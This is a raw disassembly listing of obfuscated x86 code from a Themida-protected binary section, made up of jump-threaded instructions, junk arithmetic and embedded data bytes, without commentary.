loc_5880E9:				; CODE XREF: Themida_:0058637Bj
		add	edx, 0F0548C7h
		add	edx, esi
		sub	edx, 0F0548C7h
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	61D7h
		mov	[esp], ebx
		push	ecx
		push	ebp
		mov	ebp, 19D562C0h
		mov	ecx, 547A6650h
		xor	ecx, ebp
		jmp	loc_585E69
; ---------------------------------------------------------------------------
		db 2Dh
		dd 63321A6Ah, 0FFFF9AE9h, 85E95BFFh, 81000034h,	8D0C76C1h
		dd 0C183583Eh, 240C8704h, 0F724248Bh, 0E68956F9h, 4C681h
		dd 0EE810000h, 4, 0FFEC65E9h
		db 0FFh
byte_588159	db 66h,	8Bh, 4		; DATA XREF: Themida_:005843D4o
aHs2		db '$h˜2',0
		align 2
		dw 3489h
		dd 815E5424h, 4C6h, 0D6E95100h,	53000080h, 3C3568h, 24248900h
		dd 4240483h, 2396E9h, 79BA5200h, 0BF191E74h, 3B208B34h
		dd 815AD729h, 696AF3F7h, 8AEF816Eh, 89F68361h, 0F3815FFBh
		dd 26C75D4Eh, 0FFD050E9h, 4EA81FFh, 87000000h, 0AFE92414h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5881BB:				; CODE XREF: Themida_:0058449Ej
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5886BE
; ---------------------------------------------------------------------------
		db 28h,	0C8h, 8Bh
		dd 0C481240Ch, 4, 2858C188h, 0C82058E1h
		db 66h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_588819
; ---------------------------------------------------------------------------


loc_5881F9:				; CODE XREF: Themida_:00585E44j
		mov	esi, 0DDA9F764h
		sub	eax, esi
		pop	esi
		jmp	loc_58ED83
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 0EDC058EDh, 3FED8003h, 81E78957h, 4C7h, 4EF8300h, 2F36E9h
		dd 9AC78000h, 0F828A804h, 2269E9h
		db 0
; ---------------------------------------------------------------------------


loc_58822D:				; CODE XREF: Themida_:00585322j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		xor	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_587BEE
; ---------------------------------------------------------------------------
		dw 2966h
		dd 1C8B66D8h, 0E0895024h, 405h,	59FEE900h, 0CA810000h
		dd 45C6FC6h, 7645E950h
		db 2 dup(0)
aNhd		db '­hd,',0             ; DATA XREF: Themida_:005843CCo
		align 4
		dd 0BA241489h, 2F7E68BBh, 4278E9h, 4C48100h, 59000000h
		dd 4EC81h, 6E90000h, 8BFFFFCEh,	0C481241Ch, 4, 4244429h
		dd 24042958h, 3BDF68h, 24048900h, 0AB52F7B8h, 40BF577Bh
		dd 1498A45h, 0E908247Ch, 7A82h
; ---------------------------------------------------------------------------


loc_5882B8:				; CODE XREF: Themida_:00589E8Dj
		pop	eax
		mov	ecx, [esp]
		add	esp, 4


loc_5882C2:				; CODE XREF: Themida_:0058E742j
		push	ebp
		mov	ebp, ebx
		jmp	loc_58F8C1
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 85F580FAh, 5B59E828h, 1604E9h
		db 0
; ---------------------------------------------------------------------------


loc_5882D9:				; CODE XREF: Themida_:00590568j
		xor	esi, edi
		push	edi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	edi
		xchg	edi, esi
		and	esi, 50B15A0Fh
		sub	esi, 1200h
		mov	edx, esi
		pop	esi
		push	edx
		xor	dword ptr [esp], 4BF1828h
		pop	ecx
		xor	ecx, 4BF1828h
		jmp	loc_586521
; ---------------------------------------------------------------------------
		dw 4C29h
		dd 6C810824h, 4E0D0824h, 0CAE90F85h, 83FFFFDAh,	71E904EEh
		dd 56000078h, 4BEh, 583EE900h, 59660000h, 519868h, 0F4CAE900h
		dd 0C181FFFFh, 725148D8h, 9817F181h, 0CF31AA82h, 0FFFB06E9h
		dd 5E9C0FFh, 80B7E980h,	0CF88D6C1h, 0F6DFF659h,	9FC780D7h
		dd 0E9F98851h, 0FFFFF7FDh
; ---------------------------------------------------------------------------


loc_588368:				; CODE XREF: Themida_:00586992j
		push	7147h
		mov	[esp], ebx
		push	444Ch
		mov	[esp], edi
		mov	edi, 74A226A6h
		jmp	loc_585706
; ---------------------------------------------------------------------------


loc_588382:				; CODE XREF: Themida_:0058F0DEj
		add	esp, 4
		add	bl, cl
		pop	ecx
		add	bl, al
		push	ecx
		mov	cl, 0E0h
		jmp	loc_584857
; ---------------------------------------------------------------------------


loc_588392:				; CODE XREF: Themida_:00585C8Cj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58B861
; ---------------------------------------------------------------------------


loc_5883A0:				; CODE XREF: Themida_:005849F5j
		push	ecx
		push	ebp
		mov	ebp, 11333B91h
		mov	ecx, 20C46A09h
		xor	ecx, ebp
		pop	ebp
		or	edi, ecx
		pop	ecx
		shl	edi, 1
		sub	edi, 102070Ah
		and	edi, 182B300Dh
		sub	edi, 0E4F3F3A2h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	711614CFh
		mov	ebp, [esp]
		jmp	loc_587878
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 0C1BF5704h, 0E94E3931h, 0FFFFC2E2h, 7C3D68h
		dd 24248900h, 4240481h,	0E9000000h, 0FFFFF376h
; ---------------------------------------------------------------------------


loc_588404:				; CODE XREF: Themida_:0058A8DBj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_589C18
; ---------------------------------------------------------------------------
byte_58840F	db 0FFh			; DATA XREF: Themida_:005841C4o
		dd 669D1C77h, 241CD359h, 5A8E99Ch, 0EA810000h, 786B36AEh
		dd 0CF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_588429:				; CODE XREF: Themida_:0058C069j
		mov	ecx, 2C546457h
		push	esi
		mov	esi, 4B655FE8h
		jmp	loc_58736D
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0B9h
		dd 5291C39Ch, 0B5FCC3BAh, 8BD10128h, 0C4832414h, 0E9C80104h
		dd 0FFFFFF8Bh, 0BF243C89h, 27017490h, 0FFFFEF81h, 70E9FFFFh
		dd 5FFFFC8h, 455F2E8Ah,	0E9581889h, 65E6h, 958C131h, 34FF1C4Fh
		dd 0C4835924h, 0BFEDE904h
		db 2 dup(0FFh)
word_588486	dw 34FFh		; DATA XREF: Themida_:00584230o
		dd 24048B24h, 81E78957h, 4C7h, 0B6E95500h, 10h,	4DC380C3h
		dd 22A2E9h, 242C8B00h, 4C481h, 25E90000h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5884B3:				; CODE XREF: Themida_:0058E276j
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_58CB48
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
aHh6		db '$]hH6',0
		dw 0E900h
		dd 0FFFFC48Dh, 592434FFh, 0E904C483h, 7ED0h
; ---------------------------------------------------------------------------


loc_5884DC:				; CODE XREF: Themida_:00587DFDj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58E3B7
; ---------------------------------------------------------------------------


loc_5884E9:				; CODE XREF: Themida_:00584CD2j
		mov	edi, 0AC7159A1h
		add	ecx, edi
		pop	edi
		jmp	loc_58E395
; ---------------------------------------------------------------------------
		dw 5455h
		dd 4C5815Dh, 0E9000000h, 0FFFFD69Dh, 2CC8005Bh,	0C8B6658h
		dd 0E0895024h, 405h, 20500h, 4870000h, 9A685C24h, 0E9000040h
		dd 6FCh
; ---------------------------------------------------------------------------


loc_588528:				; CODE XREF: Themida_:0058EA2Aj
		push	ebx
		mov	ebx, 6F10444Fh
		or	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 90CEBB01h
		add	ecx, edi
		pop	edi
		mov	[edi+20h], ecx
		pop	ecx


loc_58853E:				; CODE XREF: Themida_:0058B9DFj
					; Themida_:loc_58C803j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5868F4
; ---------------------------------------------------------------------------
		db 9
		dd 0EB815FFBh, 0F6DCDD72h, 0FFF499E9h, 88C1B4FFh, 3649E9E3h
		dd 0E5280000h, 0E921ED80h, 0FFFFFC9Eh
; ---------------------------------------------------------------------------


loc_588568:				; CODE XREF: Themida_:00589BB6j
		push	ebx
		push	ebp
		jmp	loc_58526A
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D2F705E2h, 0D6E9D2F7h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58857B:				; CODE XREF: Themida_:0058457Ej
		mov	esi, 5AD425FFh
		neg	esi
		dec	esi
		shr	esi, 8
		xor	esi, 5B23008Ah
		push	ecx
		mov	ecx, 5B862B4Ch
		sub	esi, ecx
		jmp	loc_58F054
; ---------------------------------------------------------------------------


loc_588599:				; CODE XREF: Themida_:005855D5j
		pop	edi
		push	esi
		push	732E63E8h
		pop	esi
		jmp	loc_58E246
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 66F967D7h, 0C381D329h, 66F967D7h, 30FF665Ah,	0FFBEB6E9h
		dd 4BAFFh, 0D1E90000h, 0BD000018h, 70564BCh, 0FFFFED81h
		dd 0DDF7FFFFh, 43A3F581h, 515229AFh, 6B7A2CB9h,	0B8C1814Dh
		dd 0E97BFC4Fh, 17FBh
; ---------------------------------------------------------------------------


loc_5885EC:				; CODE XREF: Themida_:00584FF2j
		mov	ecx, 4
		sub	eax, 3F8E649Ah
		jmp	loc_58BED4
; ---------------------------------------------------------------------------
		db 55h
		dd 0C5815D54h, 4, 8704C583h, 335C242Ch,	1C31241Ch, 241C3324h
		dd 6624248Bh, 0E924048Fh, 0FFFFBE53h, 8324148Bh, 0EF8104C4h
		dd 0EE72DD33h, 815FF901h, 4ECh,	243C8900h, 2BFh, 8BF90100h
		dd 0F6E9243Ch, 51FFFFC6h, 0FFED6EE9h
		db 0FFh
byte_58864D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00584270o
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 5763E9h
		db 0
; ---------------------------------------------------------------------------


loc_588669:				; CODE XREF: Themida_:0058F3FCj
		add	eax, esi
		add	eax, 35390D72h
		mov	esi, [esp]
		add	esp, 4
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58EA24
; ---------------------------------------------------------------------------
aQsM		db 'QéìM',0
		dw 3000h
aS@0		db 'Ëé@0',0
		align 2


loc_58868E:				; CODE XREF: Themida_:00590519j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_58A56A
; ---------------------------------------------------------------------------


loc_5886A0:				; CODE XREF: Themida_:0058EB16j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_58751C
; ---------------------------------------------------------------------------


loc_5886AB:				; CODE XREF: Themida_:005861AAj
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 70037A5Ah
		xchg	ebp, ecx
		not	ebp
		jmp	loc_58AAF3
; ---------------------------------------------------------------------------


loc_5886BE:				; CODE XREF: Themida_:005881C4j
		add	ecx, 32ED2353h
		shl	ecx, 1
		dec	ecx
		jmp	loc_58EF54
; ---------------------------------------------------------------------------
		dd 1D94B951h, 0E9812184h, 2C9F3FA2h, 2212C181h,	0C8890B1Bh
		dd 51BD5559h, 1266D20h,	0EE815DEEh, 249738FEh, 0B951C601h
		dd 5AC85CA4h, 0B91E9h, 8BFD3100h, 8951243Ch, 4C181E1h
		dd 83000000h, 0C8704C1h, 5A555C24h, 5D2434FFh, 4C481h
		dd 5EE90000h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588723:				; CODE XREF: Themida_:0058A565j
		xor	edx, [esp]
		jmp	loc_58564B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 18E7E904h, 34870000h, 0C5815C24h, 4, 694768h
		dd 4C5BE900h, 535F0000h, 0FFC693E9h, 46EB81FFh,	0B923EFBDh
		dd 46EB4F34h, 0C981D9F7h, 7173192Fh, 6671C181h,	0E9810B02h
		dd 1, 7630C981h, 0AAE9317Fh, 83000063h,	148704C2h, 0EB815C24h
		dd 4, 2474FF53h, 241C8B04h, 8F04C483h, 248B2404h, 24148924h
		dd 37E99C50h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5887A3:				; CODE XREF: Themida_:0058CF1Aj
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_586D1E
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 2E3D2EA7h, 15AD601h,	3C335EF7h, 243C3124h, 5C243C33h
		dd 309FE9h, 0FFDA3100h,	835B2434h, 0D62904C4h, 4EC815Ah
		dd 89000000h, 74FF2434h, 0D6E90424h, 3300002Bh,	0C31240Ch
		dd 240C3324h, 2D8EE9h, 59CA0100h, 0E72E9h
		db 0
; ---------------------------------------------------------------------------


loc_588819:				; CODE XREF: Themida_:005881F4j
		mov	edx, esp
		add	edx, 4
		push	91h
		mov	[esp], ebx
		jmp	loc_587CFE
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2810000h, 4, 5D82E9h, 41C38000h, 0FFD366E9h
		dd 3A00B9FFh, 0CF2939E9h, 77B8E9h
		db 0
byte_588855	db 50h,	54h, 0E9h	; DATA XREF: Themida_:00584244o
		dd 0FFFFE25Ch
; ---------------------------------------------------------------------------


loc_58885C:				; CODE XREF: Themida_:0058F6E2j
		push	esi
		mov	esi, 4E0E4D23h
		sub	esi, 21A9213Ah
		xor	esi, 44FE7E23h
		push	57B2h
		jmp	loc_58CB10
; ---------------------------------------------------------------------------


loc_588878:				; CODE XREF: Themida_:00584763j
		pop	ecx
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aASi		db 'aÃéI,',0
		align 4
		dd 5102E983h, 42474FFh,	24048F59h, 489665Ch, 0BBD5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58889E:				; CODE XREF: Themida_:00585ADDj
		pop	esi
		and	eax, ebp
		jmp	loc_59042C
; ---------------------------------------------------------------------------
		dw 0C8E9h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5888AB:				; CODE XREF: Themida_:0058BF38j
		sub	edx, 29366A1Dh
		shl	edx, 7
		sub	edx, 99CF93EDh
		or	ecx, edx
		pop	edx
		sub	ecx, 27021DF0h
		xor	edx, ecx
		pop	ecx
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58BE96
; ---------------------------------------------------------------------------
		dw 0FE88h
		dd 0F6DEF65Bh, 0FB151DEh, 0C0F0E980h, 0E9C005E9h, 3EF18006h
		dd 2C59CE30h, 0EA23E9B9h, 0F681FFFFh, 0ECF9A91Dh, 295EF301h
		dd 7D2CE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588906:				; CODE XREF: Themida_:00584759j
		mov	ecx, 1
		mov	edi, ecx
		jmp	loc_584DAF
; ---------------------------------------------------------------------------


loc_588912:				; CODE XREF: Themida_:0058E292j
		xor	[esp], edx
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		jmp	loc_585949
; ---------------------------------------------------------------------------
		dw 0C142h
		dd 0F28104E2h, 0B8877322h, 0EE3B7E2Dh, 5D00175h, 75EE3B7Eh
		dd 8124148Bh, 4C4h, 2DD80100h, 476C2DA2h, 6E23E955h, 54530000h
		dd 7FBE565Bh, 0E9352E15h, 55AEh, 5AD1015Bh, 0E981D101h
		dd 27CC1294h, 0CE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_58896D:				; CODE XREF: Themida_:00586D2Aj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_588E8B
; ---------------------------------------------------------------------------
		db 81h
		dd 706105EFh, 0C5BD5519h, 4D07277Ch, 57E9DDF7h,	0FFFFFFEEh
		dd 565F2434h, 0C681E689h, 4, 4C681h, 0EC830000h, 6B29E904h
		dd 3C890000h, 4315E924h, 0C4830000h, 195F6804h,	14890000h
		dd 0FBF7E924h, 0A8E9FFFFh, 89FFFFBAh, 0B850242Ch, 4, 158C589h
		dd 34875DEEh, 0BC92E924h, 0E952FFFFh, 7453h, 33240431h
		dd 248B2404h, 3B5AE924h, 0FFB70000h, 5B66FD00h,	0C0B3E580h
		dd 0F58008EDh, 3AE952F9h, 1000049h, 0D8315FFBh,	0E92434FFh
		dd 27Ch, 0E388F488h, 88D3F658h,	27E3E9DEh
		db 2 dup(0)
word_588A26	dw 8B66h		; DATA XREF: Themida_:00584378o
		dd 54572404h, 79BB685Fh, 14890000h, 0BA69E924h,	0C8BFFFFh
		dd 4C48124h, 0E9000000h, 340h
; ---------------------------------------------------------------------------


loc_588A48:				; CODE XREF: Themida_:0058ED85j
		pop	eax
		add	ebp, 2
		jmp	loc_589B7E
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 0DAh
		dd 87046204h, 0C8281D04h, 872C1D2Ch, 0C5E9622Ch
		db 72h,	2 dup(0)
byte_588A67	db 0F7h			; DATA XREF: Themida_:00584268o
		dd 0E99C241Ch, 0FFFFBA03h
; ---------------------------------------------------------------------------


loc_588A70:				; CODE XREF: Themida_:0058C77Fj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58E81D
; ---------------------------------------------------------------------------
word_588A7E	dw 4ACh			; DATA XREF: Themida_:005843A0o
		dd 0E9D4048Fh, 0FFFFF591h
; ---------------------------------------------------------------------------


loc_588A88:				; CODE XREF: Themida_:00586AA6j
		push	esi
		jmp	loc_5864A6
; ---------------------------------------------------------------------------


loc_588A8E:				; CODE XREF: Themida_:0058C977j
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 100h
		jmp	loc_585A28
; ---------------------------------------------------------------------------


loc_588AAE:				; CODE XREF: Themida_:00589B86j
		push	small 7555h
		mov	[esp], cx
		jmp	loc_584473
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 4B97E900h, 3C890000h, 0F3BB5324h, 8770486Eh, 525342D3h
		dd 0BF575A5Bh, 3DBE0236h, 9FB4EF81h, 0FB31CDBBh, 2042E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588AEA:				; CODE XREF: Themida_:00587257j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5873C6
; ---------------------------------------------------------------------------
		db 4
		dd 0ED2CD5h, 2CED04C8h,	0EC8359D5h, 24148904h, 0E6807EB6h
		dd 39CE80B7h, 8853CE86h, 86EF86CFh, 0C314E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588B2E:				; CODE XREF: Themida_:005890CFj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58DF7E
; ---------------------------------------------------------------------------
		db 30h
		dd 0E28AE9EFh
		db 2 dup(0FFh)
word_588B46	dw 83ADh		; DATA XREF: Themida_:005842F0o
		dd 0F00207Fh, 0E9F84h, 2EC68100h, 810A2846h, 0D66E1CC6h
		dd 0F0C6814Ah, 570CCF05h, 35B9E9h
		db 0
byte_588B69	db 66h,	8Fh, 2		; DATA XREF: Themida_:005842B0o
		dd 0FFB902E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_588B71:				; CODE XREF: Themida_:00589A76j
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_58ED0B
; ---------------------------------------------------------------------------
		db 8Fh
		dd 9C308100h, 0FF093503h, 25E92434h, 88FFFFD3h,	58C388F0h
		dd 27D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_588B99:				; CODE XREF: Themida_:005872ADj
		push	709Fh
		mov	[esp], edi
		push	553Ch
		mov	[esp], ecx
		jmp	loc_58DE2C
; ---------------------------------------------------------------------------


loc_588BAE:				; CODE XREF: Themida_:005859DBj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58D015
; ---------------------------------------------------------------------------
		dd 0E901EE83h, 2213h
; ---------------------------------------------------------------------------


loc_588BC4:				; CODE XREF: Themida_:0058A84Cj
		pop	esi
		push	dword ptr [esp]
		jmp	loc_58652C
; ---------------------------------------------------------------------------


loc_588BCD:				; CODE XREF: Themida_:00588D49j
		add	esp, 4
		jmp	loc_584E65
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 89000000h, 0F00159CEh, 2404335Eh, 33240431h,	248B2404h
		dd 2424D324h, 16AAE9h, 32906800h, 48B55F8h, 4C48324h, 6804E8C1h
		dd 3E45h, 52A3E9h, 24048900h, 40E901B0h, 50FFFFD8h, 0B6B27EB4h
		dd 0E95CF280h, 7814h, 0B2241489h, 6491683Eh, 0DAE90000h
		dd 80FFFFFFh, 44E9F6EDh, 5E000079h, 4C681h, 0C6830000h
		dd 24348704h, 0F24248Bh, 9C2404A3h, 0FFB81EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_588C55:				; CODE XREF: Themida_:0058CECDj
		push	eax
		jmp	loc_5849ED
; ---------------------------------------------------------------------------
		db 9
		dd 0BA525BDDh, 0E0D1FD3h, 94C28142h, 816B192Fh,	0B3D2B5C2h
		dd 0AFED8188h, 17C2D3Ah, 0AFC581D5h, 5A7C2D3Ah,	0D6CE981h
		dd 0E9013081h, 0D6CC181h, 0E95D3081h, 0FFFFD2A2h, 0E954505Bh
		dd 763Dh, 8124048Bh, 4C4h, 24148B00h, 4C481h, 51660000h
		dd 0FFFFB966h, 66CE0166h, 0D6F76659h, 0C1664666h, 0F76603EEh
		dd 0C68166D6h, 3166FEC4h, 0E9525EF0h, 50EFh, 0FD0821BFh
		dd 42102D1Dh, 0F82954A9h, 6862E9h, 48F5400h, 4685124h
		dd 59000000h, 4244C01h,	0C2815A59h, 4, 7356E9h,	4BD00h
		dd 0C3810000h, 51F81789h, 92BE9h, 0E9D8F600h, 0FFFFDFBAh
		dd 0FFB756E9h, 0C5E955FFh, 5DFFFFDEh, 0EE85E953h, 0EA89FFFFh
		dd 757EE95Dh
		db 2 dup(0)
word_588D32	dw 8B66h		; DATA XREF: Themida_:0058439Co
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_588BCD
; ---------------------------------------------------------------------------


loc_588D4E:				; CODE XREF: Themida_:0058578Ej
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_587F1C
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0E792E924h, 0CD89FFFFh, 76D9E9h
		db 0
byte_588D79	db 0ADh, 81h, 0ECh	; DATA XREF: Themida_:005843D8o
		dd 4, 0E9243C89h, 79Bh,	83240C8Bh, 0A9E904C4h, 8300000Ah
		dd 248904ECh, 24048124h, 4, 4C3815Bh, 81000000h, 4ECh
		dd 24148900h, 4BAh, 7FEB8100h, 123EF73h, 7FC381D3h, 0E923EF73h
		dd 7056h
; ---------------------------------------------------------------------------


loc_588DC8:				; CODE XREF: Themida_:005869D3j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5862A6
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 55420D3Eh, 0FFD5E1E9h, 99B05FFh, 0C1483EA7h,	0EAE907E0h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588DEF:				; CODE XREF: Themida_:0058ECADj
		add	dword ptr [esp+4], 37DC565Ah
		add	[esp+4], eax
		sub	dword ptr [esp+4], 37DC565Ah
		sub	dword ptr [esp+4], 3CEB3783h
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 6D3C614Ch
		jmp	loc_5863B4
; ---------------------------------------------------------------------------
		dd 0FCB5F181h, 0CE316E22h, 5EF00159h, 7EC968h, 243C8900h
		dd 4BFh, 0CEBA5200h, 14D444Bh, 0F8295AD0h, 0FFEAABE9h
		dd 6B5135FFh, 0E9815CBFh, 3E8D0C76h, 0D8E9C101h, 89FFFFF2h
		dd 4812424h, 424h, 24348B00h, 8104C483h, 4C6h, 73076800h
		dd 0C890000h, 2B924h, 0EE810000h, 22DC627Eh, 4BE9CE01h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588E8B:				; CODE XREF: Themida_:0058897Aj
		mov	edi, ebx
		push	edi
		push	ecx
		mov	ecx, 1F747AB0h
		sub	[esp+4], ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		add	esi, 1F747AB0h
		jmp	loc_58C179
; ---------------------------------------------------------------------------


loc_588EAD:				; CODE XREF: Themida_:0058B0E0j
		pop	edx
		pop	ecx
		jmp	loc_58D3ED
; ---------------------------------------------------------------------------


loc_588EB4:				; CODE XREF: Themida_:00589098j
		mov	dl, 9Ah
		sub	al, dl
		pop	edx
		add	al, bh
		add	al, 9Ah
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_586F59
; ---------------------------------------------------------------------------


loc_588EC8:				; CODE XREF: Themida_:00590559j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		xor	dword ptr [esp], 349B6407h
		pop	esi
		xor	esi, 349B6407h
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_58C3D5
; ---------------------------------------------------------------------------


loc_588EF6:				; CODE XREF: Themida_:00585D8Ej
		mov	ebx, 2299E0A1h
		jmp	loc_5894B2
; ---------------------------------------------------------------------------
		dd 0CC001FB1h, 0DF4CE959h, 0EB81FFFFh, 0D4FA006Eh, 815BD901h
		dd 0A0D4BFE9h, 59CE01EBh, 2051EE81h, 5358266Dh,	0E76B2CBBh
		dd 0FC38177h, 81609F3Bh, 7959C7C3h, 5BDE0127h, 5C243487h
		dd 2424D366h, 0B52DE99Ch, 487FFFFh, 24E95C24h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588F4F:				; CODE XREF: Themida_:00586371j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5857D8
; ---------------------------------------------------------------------------


loc_588F5B:				; CODE XREF: Themida_:00590621j
		pop	ebx
		jmp	loc_58AF8B
; ---------------------------------------------------------------------------
byte_588F61	db 8Bh,	4, 24h		; DATA XREF: Themida_:00584358o
		dd 815F5457h, 4C7h, 2D8FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588F72:				; CODE XREF: Themida_:0058A193j
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	2DC2h
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58635D
; ---------------------------------------------------------------------------


loc_588F97:				; CODE XREF: Themida_:00586266j
		sub	edx, edi
		pop	edi
		jmp	loc_58EAD4
; ---------------------------------------------------------------------------


loc_588F9F:				; CODE XREF: Themida_:0058C8EAj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_588FB5:				; CODE XREF: Themida_:0058BF69j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_587B95
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 41850504h, 0C2E94267h, 0F6FFFFCFh, 0DD05E9DAh
		db 2 dup(0FFh)
word_588FDA	dw 34FFh		; DATA XREF: Themida_:0058422Co
		dd 2434FF24h, 4C4815Ah,	55000000h, 8904EC83h, 4832424h
		dd 0E95D0424h, 0FFFFC16Fh, 6824048Bh, 396Ch, 89243489h
		dd 6D7EE9E6h, 0E3C10000h, 64C38104h, 1173B45h, 0BE565BDDh
		dd 4, 127BB53h,	8AE901FBh, 89000073h, 5433E9CEh, 3C890000h
		dd 4BF24h, 0FE010000h, 0E9243C8Bh, 0FFFFD44Fh, 0E956E589h
		dd 18Dh
dword_589048	dd 0E932FF64h, 0FFFFB423h; ---------------------------------------------------------------------------


loc_589050:				; CODE XREF: Themida_:00586B18j
		pop	ebp
		shr	ebx, 7
		push	ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_58B659
; ---------------------------------------------------------------------------
		db 81h
		dd 0F63F85EAh, 81FA0141h, 0F63F85C2h, 243C8B41h, 815A5452h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 8D5h,	405E089h
		dd 0E9000000h, 46A9h
; ---------------------------------------------------------------------------


loc_589094:				; CODE XREF: Themida_:00587EB2j
		add	bh, 8Ah
		push	edx
		jmp	loc_588EB4
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 173E9h, 80C6FE00h, 0F32887F6h, 53AAE9h, 0FE9DB700h
		dd 0C8B7E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


